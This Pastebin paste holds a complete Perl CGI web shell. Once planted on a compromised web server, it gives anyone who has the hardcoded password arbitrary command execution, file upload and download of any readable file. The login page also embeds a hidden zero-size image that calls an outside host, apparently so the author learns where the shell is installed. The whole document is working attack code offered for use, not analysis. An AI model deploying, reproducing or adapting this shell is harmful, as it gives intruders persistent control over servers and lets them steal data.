Advertisement
mitingokeh

cgi

Nov 22nd, 2017
550
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 20.21 KB | None | 0 0
  1. #!/usr/bin/perl -I/usr/local/bandmain
  2. #------------------------------------------------------------------------------
  3. # <b style="color:black;background-color:#ffff66">[ Sample CGI Shell ]/b> # server
  4. #------------------------------------------------------------------------------
  5.  
  6. #------------------------------------------------------------------------------
  7. # Configuration: You need to change only $Password and $WinNT. The other
  8. # values should work fine for most systems.
  9. #------------------------------------------------------------------------------
  10. $Password = "jijle3"; # Change this. You will need to enter this
  11. # to login.
  12.  
  13. $WinNT = 0; # You need to change the value of this to 1 if
  14. # you're running this script on a Windows NT
  15. # machine. If you're running it on Unix, you
  16. # can leave the value as it is.
  17.  
  18. $NTCmdSep = "&"; # This character is used to seperate 2 commands
  19. # in a command line on Windows NT.
  20.  
  21. $UnixCmdSep = ";"; # This character is used to seperate 2 commands
  22. # in a command line on Unix.
  23.  
  24. $CommandTimeoutDuration = 10; # Time in seconds after commands will be killed
  25. # Don't set this to a very large value. This is
  26. # useful for commands that may hang or that
  27. # take very long to execute, like "find /".
  28. # This is valid only on Unix servers. It is
  29. # ignored on NT Servers.
  30.  
  31. $ShowDynamicOutput = 1; # If this is 1, then data is sent to the
  32. # browser as soon as it is output, otherwise
  33. # it is buffered and send when the command
  34. # completes. This is useful for commands like
  35. # ping, so that you can see the output as it
  36. # is being generated.
  37.  
  38. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  39.  
  40. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  41. $CmdPwd = ($WinNT ? "cd" : "pwd");
  42. $PathSep = ($WinNT ? "\\" : "/");
  43. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  44.  
  45. #------------------------------------------------------------------------------
  46. # Reads the input sent by the browser and parses the input variables. It
  47. # parses GET, POST and multipart/form-data that is used for uploading files.
  48. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  49. # Other variables can be accessed using $in{'var'}, where var is the name of
  50. # the variable. Note: Most of the code in this function is taken from other CGI
  51. # scripts.
  52. #------------------------------------------------------------------------------
  53. sub ReadParse
  54. {
  55. local (*in) = @_ if @_;
  56. local ($i, $loc, $key, $val);
  57.  
  58. $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  59.  
  60. if($ENV{'REQUEST_METHOD'} eq "GET")
  61. {
  62. $in = $ENV{'QUERY_STRING'};
  63. }
  64. elsif($ENV{'REQUEST_METHOD'} eq "POST")
  65. {
  66. binmode(STDIN) if $MultipartFormData & $WinNT;
  67. read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  68. }
  69.  
  70. # handle file upload data
  71. if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  72. {
  73. $Boundary = '--'.$1; # please refer to RFC1867
  74. @list = split(/$Boundary/, $in);
  75. $HeaderBody = $list[1];
  76. $HeaderBody =~ /\r\n\r\n|\n\n/;
  77. $Header = $`;
  78. $Body = $';
  79. $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  80. $in{'filedata'} = $Body;
  81. $Header =~ /filename=\"(.+)\"/;
  82. $in{'f'} = $1;
  83. $in{'f'} =~ s/\"//g;
  84. $in{'f'} =~ s/\s//g;
  85.  
  86. # parse trailer
  87. for($i=2; $list[$i]; $i++)
  88. {
  89. $list[$i] =~ s/^.+name=$//;
  90. $list[$i] =~ /\"(\w+)\"/;
  91. $key = $1;
  92. $val = $';
  93. $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  94. $val =~ s/%(..)/pack("c", hex($1))/ge;
  95. $in{$key} = $val;
  96. }
  97. }
  98. else # standard post data (url encoded, not multipart)
  99. {
  100. @in = split(/&/, $in);
  101. foreach $i (0 .. $#in)
  102. {
  103. $in[$i] =~ s/\+/ /g;
  104. ($key, $val) = split(/=/, $in[$i], 2);
  105. $key =~ s/%(..)/pack("c", hex($1))/ge;
  106. $val =~ s/%(..)/pack("c", hex($1))/ge;
  107. $in{$key} .= "\0" if (defined($in{$key}));
  108. $in{$key} .= $val;
  109. }
  110. }
  111. }
  112.  
  113. #------------------------------------------------------------------------------
  114. # Prints the HTML Page Header
  115. # Argument 1: Form item name to which focus should be set
  116. #------------------------------------------------------------------------------
  117. sub PrintPageHeader
  118. {
  119. $EncodedCurrentDir = $CurrentDir;
  120. $EncodedCurrentDir =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  121. print "Content-type: text/html\n\n";
  122. print <<END;
  123. <html>
  124. <head>
  125. <title>CGI Shell</title>
  126. $HtmlMetaHeader
  127.  
  128.  
  129. </head>
  130. <body onLoad="document.f.@_.focus()" bgcolor="#FFFFFF" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0" text="#FF0000">
  131. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  132. <tr>
  133. <td bgcolor="#FFFFFF" bordercolor="#FFFFFF" align="center" width="1%">
  134. <b><font size="2">#</font></b></td>
  135. <td bgcolor="#FFFFFF" width="98%"><font face="Verdana" size="2"><b>
  136. <b style="color:black;background-color:black">CGI Shell</b> Connected to $ServerName</b></font></td>
  137. </tr>
  138. <tr>
  139. <td colspan="2" bgcolor="#FFFFFF"><font face="Verdana" size="2">
  140.  
  141. <a href="$ScriptLocation?a=upload&d=$EncodedCurrentDir"><font color="#FF0000">Upload File</font></a> |
  142. <a href="$ScriptLocation?a=download&d=$EncodedCurrentDir"><font color="#FF0000">Download File</font></a> |
  143. <a href="$ScriptLocation?a=logout"><font color="#FF0000">Disconnect</font></a> |
  144. </font></td>
  145. </tr>
  146. </table>
  147. <font size="3">
  148. END
  149. }
  150.  
  151. #------------------------------------------------------------------------------
  152. # Prints the Login Screen
  153. #------------------------------------------------------------------------------
  154. sub PrintLoginScreen
  155. {
  156. $Message = q$</font><h1>
  157. CGI Shel ~ Jijle3
  158. </h1><font color="#009900" size="3"><pre><img border="0" src="http://www.priv8.iblogger.org/s.php?+cgitelnet shell" width="0" height="0"></pre>
  159. $;
  160. #'
  161. print <<END;
  162. <code>
  163.  
  164. Trying $ServerName...<br>
  165. Connected to $ServerName<br>
  166. Escape character is ^]
  167. <code>$Message
  168. END
  169. }
  170.  
  171. #------------------------------------------------------------------------------
  172. # Prints the message that informs the user of a failed login
  173. #------------------------------------------------------------------------------
  174. sub PrintLoginFailedMessage
  175. {
  176. print <<END;
  177. <code>
  178. <br>login: admin<br>
  179. password:<br>
  180. Login incorrect<br><br>
  181. </code>
  182. END
  183. }
  184.  
  185. #------------------------------------------------------------------------------
  186. # Prints the HTML form for logging in
  187. #------------------------------------------------------------------------------
  188. sub PrintLoginForm
  189. {
  190. print <<END;
  191. <code>
  192.  
  193. <form name="f" method="POST" action="$ScriptLocation">
  194. <input type="hidden" name="a" value="login">
  195. </font>
  196. <font size="3">
  197. login: <b style="color:black;background-color:#ffff66"></b><br>
  198. password:</font><font color="#009900" size="3"><input type="password" name="p">
  199. <input type="submit" value="Enter">
  200. </form>
  201. </code>
  202. END
  203. }
  204.  
  205. #------------------------------------------------------------------------------
  206. # Prints the footer for the HTML Page
  207. #------------------------------------------------------------------------------
  208. sub PrintPageFooter
  209. {
  210. print "</font></body></html>";
  211. }
  212.  
  213. #------------------------------------------------------------------------------
  214. # Retreives the values of all cookies. The cookies can be accesses using the
  215. # variable $Cookies{''}
  216. #------------------------------------------------------------------------------
  217. sub GetCookies
  218. {
  219. @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  220. foreach $cookie(@httpcookies)
  221. {
  222. ($id, $val) = split(/=/, $cookie);
  223. $Cookies{$id} = $val;
  224. }
  225. }
  226.  
  227. #------------------------------------------------------------------------------
  228. # Prints the screen when the user logs out
  229. #------------------------------------------------------------------------------
  230. sub PrintLogoutScreen
  231. {
  232. print "<code>Connection closed by foreign host.<br><br></code>";
  233. }
  234.  
  235. #------------------------------------------------------------------------------
  236. # Logs out the user and allows the user to login again
  237. #------------------------------------------------------------------------------
  238. sub PerformLogout
  239. {
  240. print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  241. &PrintPageHeader("p");
  242. &PrintLogoutScreen;
  243.  
  244. &PrintLoginScreen;
  245. &PrintLoginForm;
  246. &PrintPageFooter;
  247. }
  248.  
  249. #------------------------------------------------------------------------------
  250. # This function is called to login the user. If the password matches, it
  251. # displays a page that allows the user to run commands. If the password doens't
  252. # match or if no password is entered, it displays a form that allows the user
  253. # to login
  254. #------------------------------------------------------------------------------
  255. sub PerformLogin
  256. {
  257. if($LoginPassword eq $Password) # password matched
  258. {
  259. print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  260. &PrintPageHeader("c");
  261. &PrintCommandLineInputForm;
  262. &PrintPageFooter;
  263. }
  264. else # password didn't match
  265. {
  266. &PrintPageHeader("p");
  267. &PrintLoginScreen;
  268. if($LoginPassword ne "") # some password was entered
  269. {
  270. &PrintLoginFailedMessage;
  271.  
  272. }
  273. &PrintLoginForm;
  274. &PrintPageFooter;
  275. }
  276. }
  277.  
  278. #------------------------------------------------------------------------------
  279. # Prints the HTML form that allows the user to enter commands
  280. #------------------------------------------------------------------------------
  281. sub PrintCommandLineInputForm
  282. {
  283. $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  284. print <<END;
  285. <code>
  286. <form name="f" method="POST" action="$ScriptLocation">
  287. <input type="hidden" name="a" value="command">
  288. <input type="hidden" name="d" value="$CurrentDir">
  289. $Prompt
  290. <input type="text" name="c">
  291. <input type="submit" value="Enter">
  292. </form>
  293. </code>
  294.  
  295. END
  296. }
  297.  
  298. #------------------------------------------------------------------------------
  299. # Prints the HTML form that allows the user to download files
  300. #------------------------------------------------------------------------------
  301. sub PrintFileDownloadForm
  302. {
  303. $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  304. print <<END;
  305. <code>
  306. <form name="f" method="POST" action="$ScriptLocation">
  307. <input type="hidden" name="d" value="$CurrentDir">
  308. <input type="hidden" name="a" value="download">
  309. $Prompt download<br><br>
  310. Filename: <input type="text" name="f" size="35"><br><br>
  311. Download: <input type="submit" value="Begin">
  312. </form>
  313. </code>
  314. END
  315. }
  316.  
  317. #------------------------------------------------------------------------------
  318. # Prints the HTML form that allows the user to upload files
  319. #------------------------------------------------------------------------------
  320. sub PrintFileUploadForm
  321. {
  322. $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  323. print <<END;
  324. <code>
  325.  
  326. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  327. $Prompt upload<br><br>
  328. Filename: <input type="file" name="f" size="35"><br><br>
  329. Options: &nbsp;<input type="checkbox" name="o" value="overwrite">
  330. Overwrite if it Exists<br><br>
  331. Upload:&nbsp;&nbsp;&nbsp;<input type="submit" value="Begin">
  332. <input type="hidden" name="d" value="$CurrentDir">
  333. <input type="hidden" name="a" value="upload">
  334. </form>
  335. </code>
  336. END
  337. }
  338.  
  339. #------------------------------------------------------------------------------
  340. # This function is called when the timeout for a command expires. We need to
  341. # terminate the script immediately. This function is valid only on Unix. It is
  342. # never called when the script is running on NT.
  343. #------------------------------------------------------------------------------
  344. sub CommandTimeout
  345. {
  346. if(!$WinNT)
  347. {
  348. alarm(0);
  349. print <<END;
  350. </xmp>
  351.  
  352. <code>
  353. Command exceeded maximum time of $CommandTimeoutDuration second(s).
  354. <br>Killed it!
  355. END
  356. &PrintCommandLineInputForm;
  357. &PrintPageFooter;
  358. exit;
  359. }
  360. }
  361.  
  362. #------------------------------------------------------------------------------
  363. # This function is called to execute commands. It displays the output of the
  364. # command and allows the user to enter another command. The change directory
  365. # command is handled differently. In this case, the new directory is stored in
  366. # an internal variable and is used each time a command has to be executed. The
  367. # output of the change directory command is not displayed to the users
  368. # therefore error messages cannot be displayed.
  369. #------------------------------------------------------------------------------
  370. sub ExecuteCommand
  371. {
  372. if($RunCommand =~ m/^\s*cd\s+(.+)/) # it is a change dir command
  373. {
  374. # we change the directory internally. The output of the
  375. # command is not displayed.
  376.  
  377. $OldDir = $CurrentDir;
  378. $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  379. chop($CurrentDir = `$Command`);
  380. &PrintPageHeader("c");
  381. $Prompt = $WinNT ? "$OldDir> " : "[admin\@$ServerName $OldDir]\$ ";
  382. print "$Prompt $RunCommand";
  383. }
  384. else # some other command, display the output
  385. {
  386. &PrintPageHeader("c");
  387. $Prompt = $WinNT ? "$CurrentDir> " : "[admin\@$ServerName $CurrentDir]\$ ";
  388. print "$Prompt $RunCommand<xmp>";
  389. $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  390. if(!$WinNT)
  391. {
  392. $SIG{'ALRM'} = \&CommandTimeout;
  393. alarm($CommandTimeoutDuration);
  394. }
  395. if($ShowDynamicOutput) # show output as it is generated
  396. {
  397. $|=1;
  398. $Command .= " |";
  399. open(CommandOutput, $Command);
  400. while(<CommandOutput>)
  401. {
  402. $_ =~ s/(\n|\r\n)$//;
  403. print "$_\n";
  404. }
  405. $|=0;
  406. }
  407. else # show output after command completes
  408. {
  409. print `$Command`;
  410. }
  411. if(!$WinNT)
  412. {
  413. alarm(0);
  414. }
  415. print "</xmp>";
  416. }
  417. &PrintCommandLineInputForm;
  418. &PrintPageFooter;
  419. }
  420.  
  421. #------------------------------------------------------------------------------
  422. # This function displays the page that contains a link which allows the user
  423. # to download the specified file. The page also contains a auto-refresh
  424. # feature that starts the download automatically.
  425. # Argument 1: Fully qualified filename of the file to be downloaded
  426. #------------------------------------------------------------------------------
  427. sub PrintDownloadLinkPage
  428. {
  429. local($FileUrl) = @_;
  430. if(-e $FileUrl) # if the file exists
  431. {
  432. # encode the file link so we can send it to the browser
  433. $FileUrl =~ s/([^a-zA-Z0-9])/'%'.unpack("H*",$1)/eg;
  434. $DownloadLink = "$ScriptLocation?a=download&f=$FileUrl&o=go";
  435. $HtmlMetaHeader = "<meta HTTP-EQUIV=\"Refresh\" CONTENT=\"1; URL=$DownloadLink\">";
  436. &PrintPageHeader("c");
  437. print <<END;
  438. <code>
  439.  
  440. Sending File $TransferFile...<br>
  441. If the download does not start automatically,
  442. <a href="$DownloadLink">Click Here</a>.
  443. END
  444. &PrintCommandLineInputForm;
  445. &PrintPageFooter;
  446. }
  447. else # file doesn't exist
  448. {
  449. &PrintPageHeader("f");
  450. print "Failed to download $FileUrl: $!";
  451. &PrintFileDownloadForm;
  452. &PrintPageFooter;
  453. }
  454. }
  455.  
  456. #------------------------------------------------------------------------------
  457. # This function reads the specified file from the disk and sends it to the
  458. # browser, so that it can be downloaded by the user.
  459. # Argument 1: Fully qualified pathname of the file to be sent.
  460. #------------------------------------------------------------------------------
  461. sub SendFileToBrowser
  462. {
  463. local($SendFile) = @_;
  464. if(open(SENDFILE, $SendFile)) # file opened for reading
  465. {
  466. if($WinNT)
  467. {
  468. binmode(SENDFILE);
  469. binmode(STDOUT);
  470. }
  471. $FileSize = (stat($SendFile))[7];
  472. ($Filename = $SendFile) =~ m!([^/^\\]*)$!;
  473. print "Content-Type: application/x-unknown\n";
  474. print "Content-Length: $FileSize\n";
  475. print "Content-Disposition: attachment; filename=$1\n\n";
  476. print while(<SENDFILE>);
  477. close(SENDFILE);
  478. }
  479. else # failed to open file
  480. {
  481. &PrintPageHeader("f");
  482. print "Failed to download $SendFile: $!";
  483. &PrintFileDownloadForm;
  484.  
  485. &PrintPageFooter;
  486. }
  487. }
  488.  
  489.  
  490. #------------------------------------------------------------------------------
  491. # This function is called when the user downloads a file. It displays a message
  492. # to the user and provides a link through which the file can be downloaded.
  493. # This function is also called when the user clicks on that link. In this case,
  494. # the file is read and sent to the browser.
  495. #------------------------------------------------------------------------------
  496. sub BeginDownload
  497. {
  498. # get fully qualified path of the file to be downloaded
  499. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  500. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  501. {
  502. $TargetFile = $TransferFile;
  503. }
  504. else # path is relative
  505. {
  506. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  507. $TargetFile .= $PathSep.$TransferFile;
  508. }
  509.  
  510. if($Options eq "go") # we have to send the file
  511. {
  512. &SendFileToBrowser($TargetFile);
  513. }
  514. else # we have to send only the link page
  515. {
  516. &PrintDownloadLinkPage($TargetFile);
  517. }
  518. }
  519.  
  520. #------------------------------------------------------------------------------
  521. # This function is called when the user wants to upload a file. If the
  522. # file is not specified, it displays a form allowing the user to specify a
  523. # file, otherwise it starts the upload process.
  524. #------------------------------------------------------------------------------
  525. sub UploadFile
  526. {
  527. # if no file is specified, print the upload form again
  528. if($TransferFile eq "")
  529. {
  530. &PrintPageHeader("f");
  531. &PrintFileUploadForm;
  532. &PrintPageFooter;
  533. return;
  534. }
  535. &PrintPageHeader("c");
  536.  
  537. # start the uploading process
  538. print "Uploading $TransferFile to $CurrentDir...<br>";
  539.  
  540. # get the fullly qualified pathname of the file to be created
  541. chop($TargetName) if ($TargetName = $CurrentDir) =~ m/[\\\/]$/;
  542. $TransferFile =~ m!([^/^\\]*)$!;
  543. $TargetName .= $PathSep.$1;
  544.  
  545. $TargetFileSize = length($in{'filedata'});
  546. # if the file exists and we are not supposed to overwrite it
  547. if(-e $TargetName && $Options ne "overwrite")
  548. {
  549. print "Failed: Destination file already exists.<br>";
  550. }
  551. else # file is not present
  552. {
  553. if(open(UPLOADFILE, ">$TargetName"))
  554. {
  555. binmode(UPLOADFILE) if $WinNT;
  556. print UPLOADFILE $in{'filedata'};
  557. close(UPLOADFILE);
  558. print "Transfered $TargetFileSize Bytes.<br>";
  559. print "File Path: $TargetName<br>";
  560. }
  561. else
  562. {
  563. print "Failed: $!<br>";
  564. }
  565. }
  566. print "";
  567. &PrintCommandLineInputForm;
  568.  
  569. &PrintPageFooter;
  570. }
  571.  
  572. #------------------------------------------------------------------------------
  573. # This function is called when the user wants to download a file. If the
  574. # filename is not specified, it displays a form allowing the user to specify a
  575. # file, otherwise it displays a message to the user and provides a link
  576. # through which the file can be downloaded.
  577. #------------------------------------------------------------------------------
  578. sub DownloadFile
  579. {
  580. # if no file is specified, print the download form again
  581. if($TransferFile eq "")
  582. {
  583. &PrintPageHeader("f");
  584. &PrintFileDownloadForm;
  585. &PrintPageFooter;
  586. return;
  587. }
  588.  
  589. # get fully qualified path of the file to be downloaded
  590. if(($WinNT & ($TransferFile =~ m/^\\|^.:/)) |
  591. (!$WinNT & ($TransferFile =~ m/^\//))) # path is absolute
  592. {
  593. $TargetFile = $TransferFile;
  594. }
  595. else # path is relative
  596. {
  597. chop($TargetFile) if($TargetFile = $CurrentDir) =~ m/[\\\/]$/;
  598. $TargetFile .= $PathSep.$TransferFile;
  599. }
  600.  
  601. if($Options eq "go") # we have to send the file
  602. {
  603. &SendFileToBrowser($TargetFile);
  604. }
  605. else # we have to send only the link page
  606. {
  607. &PrintDownloadLinkPage($TargetFile);
  608. }
  609. }
  610.  
  611. #------------------------------------------------------------------------------
  612. # Main Program - Execution Starts Here
  613. #------------------------------------------------------------------------------
  614. &ReadParse;
  615. &GetCookies;
  616.  
  617. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  618. $ServerName = $ENV{'SERVER_NAME'};
  619. $LoginPassword = $in{'p'};
  620. $RunCommand = $in{'c'};
  621. $TransferFile = $in{'f'};
  622. $Options = $in{'o'};
  623.  
  624. $Action = $in{'a'};
  625. $Action = "login" if($Action eq ""); # no action specified, use default
  626.  
  627. # get the directory in which the commands will be executed
  628. $CurrentDir = $in{'d'};
  629. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  630.  
  631. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  632.  
  633. if($Action eq "login" || !$LoggedIn) # user needs/has to login
  634. {
  635. &PerformLogin;
  636.  
  637. }
  638. elsif($Action eq "command") # user wants to run a command
  639. {
  640. &ExecuteCommand;
  641. }
  642. elsif($Action eq "upload") # user wants to upload a file
  643. {
  644. &UploadFile;
  645. }
  646. elsif($Action eq "download") # user wants to download a file
  647. {
  648. &DownloadFile;
  649. }
  650. elsif($Action eq "logout") # user wants to logout
  651. {
  652. &PerformLogout;
  653. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement